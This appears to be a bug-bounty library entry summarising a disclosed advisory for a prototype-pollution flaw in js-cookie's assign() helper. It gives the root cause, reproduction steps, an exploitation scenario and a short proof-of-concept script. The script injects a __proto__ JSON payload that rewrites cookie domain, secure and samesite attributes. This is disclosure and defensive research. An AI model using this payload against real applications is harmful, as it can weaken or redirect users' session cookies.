# JavaScript Cookie: Per-instance prototype hijack in assign() enables cookie-attribute injection

js-cookie's assign() copies JSON-parsed __proto__ via for...in, hijacking the merged attributes object's prototype so attacker keys become Set-Cookie attributes.

- Payout: Research
- Severity: high
- Program: js-cookie
- Found by: teebow1e
- Disclosed: 2026-05-21
- CVE: CVE-2026-46625
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-qjx8-664m-686j
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-qjx8-664m-686j
- Tags: area:web domain:oss domain:web impact:integrity kind:research platform:ghsa sev:high tech:nodejs technique:second-order technique:source-review vuln:prototype-pollution

**Target:** npm library js-cookie assign() helper / Cookies.set attributes
**Root cause:** assign() uses for...in plus plain assignment, so an own enumerable '__proto__' key from JSON.parse fires the Object.prototype.__proto__ setter on the fresh target, giving the merged attributes object an attacker-controlled prototype.
**Steps:**
1. Install js-cookie <= 3.0.5 and stub document.cookie to capture writes.
2. Parse attacker JSON: `JSON.parse('{"__proto__":{"secure":"false","domain":"evil.com","samesite":"None","expires":-1}}')`.
3. Call `Cookies.set('session', 'TOKEN', attackerAttrs)`.
4. Observe emitted `Set-Cookie: session=TOKEN; path=/; domain=evil.com; secure=false; samesite=None`.
**How found:** Noticed assign() uses for...in and plain assignment; reasoned that JSON.parse produces '__proto__' as an own enumerable property, so the write hits the __proto__ setter on the fresh target rather than Object.prototype, yielding a per-instance prototype hijack that set()'s own for...in then serializes.
**Exploitation:** Application forwards a JSON-derived config object (e.g. fetched from backend) as the attributes argument to Cookies.set/remove/withAttributes/withConverter; attacker-influenced JSON injects __proto__ keys that set()'s for...in then serializes into the Set-Cookie string, overriding domain, secure, samesite, expires and path.
**Insight:** JSON.parse keeps '__proto__' as an own enumerable key, so any for...in merge into a fresh {} silently re-parents that object; audit libraries that merge JSON config into attribute/option objects and then re-enumerate them into output strings like Set-Cookie.

## Proof of concept (copied exactly from the original report)

**PoC script hijacking cookie attributes via __proto__**

```
let lastSetCookie = '';
globalThis.document = {
  get cookie() { return ''; },
  set cookie(v) { lastSetCookie = v; }
};

const { default: Cookies } = await import('js-cookie');

const attackerAttrs = JSON.parse(
  '{"__proto__":{"secure":"false","domain":"evil.com","samesite":"None","expires":-1}}'
);

Cookies.set('session', 'TOKEN', attackerAttrs);

console.log('Set-Cookie that js-cookie wrote to document.cookie:');
console.log(lastSetCookie);
```

